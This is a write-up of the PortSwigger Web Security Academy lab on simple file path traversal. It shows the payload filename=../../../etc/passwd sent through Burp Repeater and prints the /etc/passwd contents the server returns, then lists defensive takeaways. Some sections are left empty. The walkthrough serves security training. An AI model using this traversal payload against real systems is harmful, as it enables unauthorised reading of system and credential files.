File path traversal,simple case

Platform: PortSwigger | Category: Directory-traversal | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, Directory-traversal

Summary

Walkthrough of the PortSwigger Web Security Academy lab File path traversal,simple case (Directory-traversal). This lab demonstrates a directory-traversal vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — Directory-traversal

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

When we load the page, we get several items with its images, a request is being made to retreive the images from the server.

The captured request looks like ,

Send the request to Repeater.

Now in the filename parameter we have to test each payload by traversing back to find the /etc/passwd file.

When we give the payload as filename=../../../etc/passwd , we get the contents of /etc/passwd

 bash read-only • copy allowed Copy
HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2262

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
avahi:x:110:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:111:118:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:112:119::/var/lib/geoclue:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:115:123:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:116:125:Gnome Display Manager:/var/lib/gdm3:/bin/false

Key Takeaways / Lessons

• Understanding Directory-traversal detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

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Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: File path traversal,simple case